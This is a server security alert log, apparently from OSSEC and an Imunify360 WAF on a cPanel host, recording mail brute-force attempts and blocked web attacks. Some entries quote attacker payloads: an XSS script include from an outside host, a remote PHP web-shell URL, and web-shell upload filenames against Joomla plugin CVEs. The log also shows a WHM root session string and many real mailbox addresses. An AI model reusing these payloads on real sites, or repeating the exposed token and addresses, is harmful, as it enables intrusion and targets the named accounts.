rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-18 14:22:22 +0530] info [whostmgrd] 223.181.13.36 NEW root:Xb2yqxJO9vRAWsF_ address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-07-18 14:22:50 dovecot_login authenticator failed for H=(31-208-242-130.cust.bredband2.com) [122.187.234.73]:40192: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.51
country_id: 1733045
description:
2026-07-18 14:23:18 dovecot_login authenticator failed for H=([211.62.73.218]) [49.124.151.51]:49200: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-18 14:23:35 dovecot_login authenticator failed for H=([70.166.167.60]) [103.130.91.83]:59658: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.191.122.166
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es35?Itemid=101&catid=18 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 114.10.46.29
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c01312944 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-18 14:27:12 dovecot_login authenticator failed for H=([112.24.99.134]) [101.13.5.34]:36526: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: fefkadirectorsunion.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784365075863.phtml||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.203.167
country_id: 1733045
description:
2026-07-18 14:27:41 dovecot_login authenticator failed for H=([203.252.10.5]) [49.125.203.167]:47112: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:idealloanzcom||SC:/home/idealloanzcom/public_html/index.php||WPU:||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-18 14:30:43 dovecot_login authenticator failed for H=([49.124.153.61]) [218.156.93.206]:36733: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 206.189.38.28
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-c8f39f3f.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-18 14:30:56 dovecot_login authenticator failed for H=(94-183-28-98.shatel.ir) [94.16.17.139]:36226: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://samedayhvacrepair1.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 173.255.194.248
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s509710.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-18 14:37:33 dovecot_login authenticator failed for H=([102.210.149.157]) [117.211.15.93]:52898: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-18 14:38:01 dovecot_login authenticator failed for H=([156.59.147.116]) [206.62.136.109]:49872: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.195
country_id: 1668284
description:
2026-07-18 14:41:41 dovecot_login authenticator failed for H=([103.50.5.94]) [101.13.5.195]:40594: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.118.32.190
country_id: 1269750
description:
2026-07-18 14:41:53 dovecot_login authenticator failed for H=([107.181.161.85]) [45.118.32.190]:58617: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.223.108.225
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/actor-vishnu-govindan-shared-his-experience-at-metro-digital-media-home-theatre-review HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 84.33.242.108
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://sites.google.com/view/teenpattimasterap/home\">teen patti master</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.23
country_id: 1733045
description:
2026-07-18 14:45:18 dovecot_login authenticator failed for H=(168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com) [49.124.151.23]:43990: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.221.227.47
country_id: 2077456
description:
2026-07-18 14:44:58 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [203.221.227.47]:43670: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.34.229.12
country_id: 1668284
description:
2026-07-18 14:46:30 dovecot_login authenticator failed for H=1-34-229-12.hinet-ip.hinet.net ([27.24.141.169]) [1.34.229.12]:53166: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.81.229.181
country_id: 6252001
description:
2026-07-18 14:46:40 dovecot_login authenticator failed for H=([41.78.111.186]) [192.81.229.181]:47606: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.124.90
country_id: 1269750
description:
2026-07-18 14:46:45 dovecot_plain authenticator failed for H=(inguamy) [59.145.124.90]:53146: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.163.193.35
country_id: 3895114
domain: www.cochinbigbandshow.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cochinbigbandshow.com/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: ddgalaxy.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784366787558.pHp||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77209353
abuser: 196.115.176.244
country_id: 2542007
domain: ddgalaxy.in
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-18 14:58:59 dovecot_login authenticator failed for H=([14.46.19.209]) [196.188.93.169]:5870: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.26
country_id: 1668284
description:
2026-07-18 14:59:16 dovecot_login authenticator failed for H=([49.124.155.179]) [101.13.5.26]:55700: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.204.141.34
country_id: 1269750
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:34586.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9c416022f2784e79c2798c88bbcb486bba082f15||Title:0xd16979fd||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-18 15:01:48 dovecot_login authenticator failed for H=(9.72.116.151.hathway.com) [217.29.30.135]:40635: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-18 15:02:01 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net ([89.218.247.234]) [111.70.23.252]:49567: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.144.27.228
country_id: 6252001
description:
2026-07-18 15:05:09 dovecot_plain authenticator failed for H=c-73-144-27-228.hsd1.mi.comcast.net (ordliet) [73.144.27.228]:45592: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.109.58
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77281327
abuser: 85.239.144.40
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated file write/delete via Helix3 com_ajax handler for Joomla before 3.1.1 (CVE-2026-49049)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 38.147.106.235
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:globalgroupoman||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
country_id: 290557
description:
2026-07-18 15:14:43 dovecot_login authenticator failed for H=([184.170.249.69]) [20.46.45.121]:57024: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.224.193.215
country_id: 1562822
description:
2026-07-18 15:14:54 dovecot_login authenticator failed for H=([112.94.5.43]) [14.224.193.215]:43250: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-18 15:18:12 dovecot_login authenticator failed for H=([49.124.151.10]) [182.78.87.2]:51624: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-18 15:18:33 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com (187.58.64.145.static.host.gvt.net.br) [218.103.36.176]:53526: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.17.43.206
country_id: 3017382
description:
[2026-07-18 15:17:38 +0530] info [webmaild] 84.17.43.206 - - "GET /wp-includes/wlwmanifest.xml HTTP/1.1" FAILED LOGIN webmaild: login attempt without username


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 84.17.43.206
country_id: 3017382
description:
[2026-07-18 15:17:46 +0530] info [webmaild] 84.17.43.206 - - "GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1" FAILED LOGIN webmaild: login attempt without username


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 112.121.184.238
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.32||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script src=\"https://xxx.com/fp/v1.min.js\"></script>||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://blog.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.71.197.122
country_id: 1880251
description:
[2026-07-18 15:27:04 +0530] info [whostmgrd] 167.71.197.122 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77102143
abuser: 103.59.161.106
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated front-end JCE editor-profile import in Joomla Content Editor before 2.9.99.5 (CVE-2026-48907)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.25.28
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/acoustic-consultancy HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.107.161
country_id: 294640
description:
2026-07-18 15:35:55 dovecot_login authenticator failed for H=([49.124.153.50]) [46.210.107.161]:33770: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-18 15:36:10 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net ([221.162.60.216]) [221.120.4.61]:46273: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-18 15:40:57 dovecot_login authenticator failed for H=([118.98.90.22]) [125.23.228.86]:39990: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.194
country_id: 1733045
description:
2026-07-18 15:41:14 dovecot_login authenticator failed for H=([182.74.216.125]) [49.124.159.194]:59062: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-18 15:40:47 dovecot_login authenticator failed for H=(h83-209-248-110.cust.bredband2.com) [117.250.107.180]:50622: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.168.101.166
country_id: 6252001
description:
2026-07-18 15:46:55 dovecot_login authenticator failed for H=wsip-98-168-101-166.hr.hr.cox.net ([197.157.252.162]) [98.168.101.166]:50236: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.118.24.100
country_id: 1835841
description:
2026-07-18 15:47:55 dovecot_login authenticator failed for H=([192.252.208.66]) [39.118.24.100]:59650: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.226.12
country_id: 1269750
description:
2026-07-18 15:48:07 dovecot_login authenticator failed for H=(111-70-29-132.emome-ip.hinet.net) [122.187.226.12]:60859: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-18 15:50:02 dovecot_login authenticator failed for H=([103.117.155.41]) [103.187.78.189]:44574: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.207.93
country_id: 1269750
description:
2026-07-18 15:49:53 dovecot_login authenticator failed for H=([149.54.33.150]) [122.169.207.93]:9304: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.141.33
country_id: 3996063
domain: kallanigroup.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kallanigroup.com/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-18 15:53:59 dovecot_login authenticator failed for H=([202.138.229.190]) [119.192.249.195]:58356: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-18 15:54:11 dovecot_login authenticator failed for H=([59.29.219.54]) [117.250.107.180]:49066: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.232.25.208
country_id: 1512440
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es15?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.101.138.172
country_id: 597427
description:
2026-07-18 15:55:35 dovecot_login authenticator failed for H=static-213-101-138-172.cust.tele2.lt ([1.227.135.190]) [213.101.138.172]:58806: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-18 15:55:47 dovecot_login authenticator failed for H=([162.244.51.222]) [121.131.220.152]:36851: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.131.132.248
country_id: 3658394
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/wireless-presentation-solutions HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.200.249.128
country_id: 2077456
description:
2026-07-18 15:59:20 dovecot_login authenticator failed for H=14-200-249-128.tpgi.com.au ([65.20.202.4]) [14.200.249.128]:36887: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-07-18 15:59:33 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com ([142.54.235.12]) [81.236.211.54]:51182: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.145.107.251
country_id: 6252001
description:
2026-07-18 16:02:51 dovecot_plain authenticator failed for H=c-73-145-107-251.hsd1.mi.comcast.net (midakering) [73.145.107.251]:50988: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.66.234.228
country_id: 3424932
description:
2026-07-18 16:03:25 dovecot_login authenticator failed for H=(nsg-corporate-146.65.185.122.airtel.in) [185.66.234.228]:44250: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.183.228.238
country_id: 1880251
description:
2026-07-18 16:03:59 dovecot_login authenticator failed for H=([183.171.4.144]) [68.183.228.238]:35586: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.111.148.139
country_id: 1835841
description:
2026-07-18 16:03:39 dovecot_login authenticator failed for H=(111-70-14-135.emome-ip.hinet.net) [222.111.148.139]:39448: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://zzz-1.com/\">https://zzz-1.com/</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.67.75
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/true-4k-uhd-ultra-short-throw-laser-projector-v5000i?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.183.236.170
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/ssp6-multiducer?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 188.119.44.247
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:dr.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.244.36
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers-2?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.211.57.196
country_id: 6252001
description:
2026-07-18 16:13:36 dovecot_login authenticator failed for H=wsip-72-211-57-196.lv.lv.cox.net ([170.9.53.196]) [72.211.57.196]:60907: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.94.66
country_id: 1269750
description:
2026-07-18 16:13:47 dovecot_login authenticator failed for H=([149.104.26.130]) [27.123.94.66]:46140: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-18 16:14:57 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([123.118.230.64]) [213.65.190.48]:45252: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.35.129.132
country_id: 6252001
description:
2026-07-18 16:14:53 dovecot_login authenticator failed for H=pool-108-35-129-132.nwrknj.fios.verizon.net ([223.243.24.178]) [108.35.129.132]:54576: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 16.63.21.219
country_id: 2658434
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:alfa.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.173.21.44
country_id: 1880251
description:
2026-07-18 16:20:50 dovecot_login authenticator failed for H=([74.119.144.57]) [165.173.21.44]:40112: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.181.5.124
country_id: 1269750
description:
2026-07-18 16:21:14 dovecot_login authenticator failed for H=([45.155.146.33]) [103.181.5.124]:33138: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.158.140.244
country_id: 1835841
description:
2026-07-18 16:21:23 dovecot_login authenticator failed for H=([117.40.175.86]) [221.158.140.244]:51114: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-18 16:21:28 dovecot_login authenticator failed for H=(vipturbo.com.br) [85.105.255.56]:58085: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-18 16:21:29 dovecot_login authenticator failed for H=([183.171.43.35]) [103.130.207.227]:45054: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-07-18 16:21:30 dovecot_login authenticator failed for H=(broadband.actcorp.in) [114.202.80.152]:40291: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.251.0.147
country_id: 390903
description:
2026-07-18 16:22:28 dovecot_login authenticator failed for H=(static-219.76.249.49-tataidc.co.in) [212.251.0.147]:55059: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.150.230.190
country_id: 2661886
description:
2026-07-18 16:21:41 dovecot_login authenticator failed for H=c188-150-230-190.bredband.tele2.se ([106.246.89.69]) [188.150.230.190]:43818: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.185.199.72
country_id: 2077456
description:
2026-07-18 16:22:00 dovecot_login authenticator failed for H=(186-103-136-43.static.tie.cl) [203.185.199.72]:50689: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-18 16:22:09 dovecot_login authenticator failed for H=([45.14.84.2]) [182.95.61.82]:46158: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 182.9.35.205
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/class.api.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.160
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.186.151.160||TA:192.186.151.160||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-18 16:27:49 dovecot_login authenticator failed for H=([192.111.129.146]) [103.163.44.10]:49562: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.2.182
country_id: 1668284
description:
2026-07-18 16:29:10 dovecot_login authenticator failed for H=([174.64.199.88]) [101.13.2.182]:38737: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-18 16:29:22 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([98.181.137.75]) [176.10.203.54]:58244: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-18 16:31:13 dovecot_login authenticator failed for H=([49.124.155.174]) [119.192.249.195]:44876: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.2.250
country_id: 1269750
description:
2026-07-18 16:31:13 dovecot_login authenticator failed for H=([184.181.178.35]) [117.205.2.250]:54226: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.138
country_id: 2328926
description:
